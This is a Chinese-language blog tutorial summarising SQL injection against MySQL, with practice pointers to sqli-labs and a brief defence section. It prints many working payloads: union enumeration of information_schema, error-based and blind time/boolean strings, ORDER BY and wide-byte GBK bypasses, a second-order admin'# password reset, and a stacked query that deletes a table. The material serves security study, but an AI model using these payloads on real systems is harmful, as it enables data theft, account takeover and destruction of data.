SQL注入全方面总结

鲁迅曾经说过:

v2-155c3c9c0c03439199225fed8sadb07fcc2_720w

1.什么是SQL注入

SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击目的的技术

2.漏洞产生的前提条件

  • 参数用户可控:前端传给后端的参数内容是可以被用户控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

3.与SQL注入相关知识点

1.在MYSQL5.0版本后,系统会默认在数据库中存放一个informa_schema的数据库,该库中需要记住三个表名:schemata,tables,columns;

  • schemata表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema_name
  • tables存放数据所有数据库名和表名,记住这两个字段名table_schematable_name
  • columns存放所有的数据库名,表名和列名,需要记住这三个字段名table_schema,table_name,column_name
    看到上面的说明应该明白输入information_schema.tables等字段的原因了

常用函数

  1. 查看当前数据库版本
  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

2.查看数据库当前登陆用户

  • USER()
  • CURRENT_USER()
  • SYSTEM_USER()
  • SESSION_USER()

3.当前使用的数据库

  • DATABASE()
  • SCHEMA()

4.系统相关

  • @@BASEDIR : mysql安装路径
  • @@BASEDIR : mysql安装路径
  • @@DATADIR : 数据存储路径
  • @@PID_FILE : pid-file文件路径
  • @@LOG_ERROR : 错误日志文件路径
  • @@version_compile_os:操作系统版本
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
  • @@CHARACTER_SETS_DIR : 字符集设置文件路径

5.注释符:#--空格/**/

联合数据

concat()
group_concat()
concat_ws()

concat

基本格式:concat(str1,str2)

返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。

可以有一个或多个参数。

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                        
| users                 |                                                        
+-----------------------+                                                        
| 1,Dumb,Dumb           |                                                        
| 2,Angelina,I-kill-you |                                                        
+-----------------------+                                                        
2 rows in set (0.00 sec) 

concat_ws

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。

第一个参数是其它参数的分隔符。这样参数多的话就不用手动的去添加分隔符了。

基本格式:CONCAT_WS(separator,str1,str2,…)

  • Separator 为字符之间的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                       
| users                 |                                                       
+-----------------------+                                                       
| 1~Dumb~Dumb           |                                                       
| 2~Angelina~I-kill-you |                                                       
+-----------------------+                                                       
2 rows in set (0.00 sec) 

GROUP_CONCAT

将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

基本格式:GROUP_CONCAT(str1,str2,…)

mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users; 
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4 
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
1 row in set (0.00 sec)

4.注入分类

图1-所有类型sql注入总结

5.基本流程(联合查询)

判断字段数目

ORDER BY 10 

ORDER BY 5  

ORDER BY 2  
....

判断显示位

union select 1,2,3,4,5,6,7……

查看当前数据库

union select 1,2,database()

查表名

union select 1,2,table_name from information_schema.tables where 
table_schema=database() 

查列名

union select 1,2,column_name from information_schema.columns where 
table_name='表名' and table_schema=database() 

查询字段值

union select 1,字段名,字段名 from 表名

6.基于注入点属性

分为数字型字符型,判断方法如下:

数字型判断

and 1=1 显示

and 1=2 不显示,可以判断注入点是数字型

字符型判断

and 1=1 显示

and 1=2 也显示,到这一步可以排除数字型了

接下来判断是单引号字符还是双引号字符

1.在参数后加加一个'或者"

  • 若加'后,不显示查询结果了,就是单引号字符型
  • 若加"后,不显示查询结果了,就是双引号字符型

2.或者采用如下语句判断

'and 1=1# 显示

' and 1=2#不显示,就可以断定是单引号

但是,如果参数被括号()包裹的话:

  • 如果是数字型加括号($id)

    • ?id=2 and 1=1 会显示1的查询结果 ;因为查询语句中id=(2 and 1=1),2 and 1=1 结果为1

    • ?id=2 and 1=1不显示; (2 and 1=2)相与为0,查询语句变成id=(0)

    • 由以上两点结合,可猜测存在()

  • 如果是字符型加括号('$id')("$id"),以('$id')为例

    • ?id=2'不显示,因为语句错误
    • ?id=2' and 1=1#?id=2' and 1=2#不显示,因为有语法错误,()没闭合
    • 由以上两点可以猜测可能有()

括号判断

数字型判断括号:

  • 就根据?id=2 and 1=1,如果返回1的查询结果,就表明有(),相当于数据库中执行id=(2 and 1=1),括号里面是Bool值
  • 如果返回2查询结果,表明没有()

字符型判断括号

有两种方法:

  1. ?id=2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

7.基于注入点位置

这些只是注入位置,不影响使用某种注入方法

GET型和POST型

想细致了解的看这篇文章GET和POST两种基本请求方法的区别

通俗的说GET注入是在地址栏传参注入

POST注入就是使用POST进行传参的注入

POST注入高危点

  • 登录框
  • 查询框
  • 等各种和数据库有交互的框

Cookie型

Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

练习题目

sqli-labs(20-22)

HTTP Head

在写网站代码的时候,编程人员会用到对应的函数,对用户提交的参数进行过滤。

但是对于http头中的提交的内容可能没有进行过滤。

例如http头的User-agent、Referer等,所以就会产生http头注入的情况。

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;

(1) HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。

(2)X-Forwarded-For: 简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For

(3)X-Real-IP一般只记录真实发出请求的客户端IP,看下面的例子,

X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 请求由1.1.1.1发出,经过三层代理,第一层是2.2.2.2,第二层是3.3.3.3,而本次请求的来源IP4.4.4.4是第三层代理
如果配置了X-Read-IP,将会是:
X-Real-IP: 1.1.1.1
所以 ,如果只有一层代理,这两个头的值就是一样的

(4)Accept-Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

(5)Authorization: HTTP 之 Authorization

练习题目

sali-labs(18,19)

8.基于注入程度和顺序

一阶注入

一般的注入都是一阶注入,输入构造的语句后就执行结果

一阶主要是和二阶注入进行区分

二阶注入

所谓二阶注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二阶注入也是SQL注入的一种,与我们平时接触最多的一阶SQL注入相比利用门槛更高。

普通的一阶SQL注入数据直接就进入到SQL查询中,而二阶SQL注入则是输入数据经处理后存储,然后取出数据,最后才进入到SQL查询。

二阶注入的流程如下:

· 攻击者在HTTP请求中提交某种经过构思的输入。

· 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。

· 攻击者提交第二个(不同的)请求。

· 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。

· 如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。

img

案例

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:sql

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

步骤

创建一个admin'#开头的用户名:

admin'#1
admin'#233
admin'#gg
...

注册完成后数据库的记录信息如下

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin'#hacker 用户,然后来修改当前的密码

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  8 | admin         | 233        |
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

防御策略

安全起见,如果转义,就每个地方均转义

练习题目

sqli-labs 24

9.基于从服务器返回的响应

联合查询

前面的基本流程就是联合查询的步骤

堆叠查询

原理

在PHP中,mysqli_multi_query(connection,query)函数可以多语句查询SQL

多查询语句以;分开,堆叠查询就是利用这个特点,在第二个SQL语句中构造自己要执行的语句

union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

用户输入:1; DELETE FROM products服务器端生成的sql语句为:(对输入的参数进行过滤)

Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

可以利用堆叠注入进行增删改查等操作

堆叠注入的局限性

在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

在读取数据时,我们建议使用union(联合)注入。

在使用堆叠注入之前,需要知道一些数据库相关信息的,例如表名,列名等信息。

oracle不能使用堆叠注入

练习题目

sali-labs(38-45)

报错注入

floor()报错

原理

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

报错语句

floor()是取整,rand()是0-1间取值

输出字符长度限制为64个字符

mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

关键表被禁用了

select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2)) 

xpath语法报错

updatexml() 更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

输出的字符长度有限制,最长输出32位

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了那个子查询代码!

[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错] ~ ~

extractvalue()

语法: extractvalue(目标xml内容,xpath格式的字符串)

输出字符有长度限制,最长32位。

and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

updatexml与extractvalue都是基于xpath语法进行报错的,extractvalue也与其类似。

一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数。

exp报错

原理

exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后取反它的值总会大于709所以报错,适用版本:5.5.5,5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转。

报错语句

这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出

exp(~(select * from(查询语句)a))

union select exp(~(select * from(select database())a))

BIGINT溢出错误

报错语句

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

几何函数报错

报错语句

GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))

polygon():polygon((select * from(select * from(select user())a)b))

multipoint():multipoint((select * from(select * from(select user())a)b))

multilinestring():multilinestring((select * from(select * from(select user())a)b))

linestring(): LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :multipolygon((select * from(select * from(select user())a)b))

盲注

介绍

布尔盲注

  • 布尔有明显的True跟Flase,也就是说它会根据你的注入信息返回Ture跟Flase,也就没有了之前的报错信息.

时间盲注

  • 页面返回值只有一种Ture,无论输入认识值,返回情况都会按正常来处理.加入特定的时间函数,通过web页面返回的时间差来判断注入语句是否正确。

盲注常用函数

  • length() 函数 返回字符串的长度
  • substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
  • scii() 返回字符的ascii码 [将字符变为数字wei]
  • sleep() 将程序挂起一段时间n为n秒
  • if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入流程

盲注

猜解当前数据库名称长度

and (length(database()))>1

利用ASCII码猜解当前数据库名称

and (ascii(substr(database(),1,1)))=115
--返回正常,说明数据库名称第一位是s

猜表名

and (ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)))=101
--返回正常,说明数据库表名的第一个的第一位是e

猜字段名

and (ascii(substr((select column_name from information_schema.columns where 
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,说明zkaq表中的列名称第一位是f

猜内容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,说明zKaQ列第一位是z

延时注入

and if(ascii(substr(database(),1,1))>1,0,sleep(5))

延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()

10.其他注入

order by 注入

它是指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

判断注入类型

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

1.基于if语句盲注(数字型)

下面的语句只有order=$id,数字型注入时才能生效,

order ='$id'导致if语句变成字符串,功能失效

如下图为演示

  • 字符串型时if()失效,排列顺序不改变

    image-20210806162140036

  • 数字型时排列顺序改变

    image-20210806162608698

知道列名情况下

if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图

image-20210806162742207

这是在知道列名的前提下使用

?order=if(表达式,id,username)
  • 表达式为true时,根据id排序
  • 表达式为false时,根据username排序
不知道列名

id总知道吧

?order=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常的页面。

    image-20210806162946764

  • 如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空

    image-20210806162923360

2.基于时间的盲注

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示

  • 表达式false时,会延迟一段时间显示

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。

计算公式:延迟时间=sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会特别长

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

3.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。

4.报错注入

order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名

若改成1=1,则页面正常显示

练习题目

sqli-labs(46-53)

参考

sql注入之order by注入 · Yang1k

[MySQL Order By 注入总结 - SecPulse.COM | 安全脉搏](

宽字节注入

概念

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \。用于转义的函数有addslashes ,mysql_real_escape_string ,mysql_escape_string

宽字节注入就是PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

注入方式

1 %df吃掉

具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27

MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2 将 \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

post型

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为

我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

其他情况

  1. UTF-8是3个字符
  2. GBK是2个字符
  3. \是1个字符

外面传参一个汉字UTF-8(3个字符)

进了数据库GBK3+1=4 >这是两个汉字

汉') or 1=1-- qwe

有的时候我们也可以用16进制来代替字符串

练习题目

sqli-labs(32-37)

防御策略

  1. 过滤危险字符

    • 采用正则表达式匹配union,sleep,load_file等关键字,如果匹配到就退出程序
  2. 使用预编译语句,绑定变量

  3. 使用存储过程

    • 先将SQL语句定义在数据库中
    • 尽量避免在存储过程中使用动态SQL语句
    • 若无法避免,应使用严格的输入过滤或编码函数来处理用户输入数据
  4. 检查数据类型

    • 检查输入数据的数据类型,很大程度上可以对抗SQL注入

参考

SQL注入之数字型注入(手工)

SQL注入-order by注入

sqli-labs(32-37)宽字节注入

sqli-labs(38-45)堆叠注入

sqli-labs(21-25a)二阶注入

HTTP 之 Authorization

SQL注入原理及分析 (seebug.org)

10分钟总结所有类型SQL注入 | 回忆飘如雪 (gv7.me)

posted @ 2021-08-10 15:10  1ink  阅读(517)  评论(0编辑  收藏  举报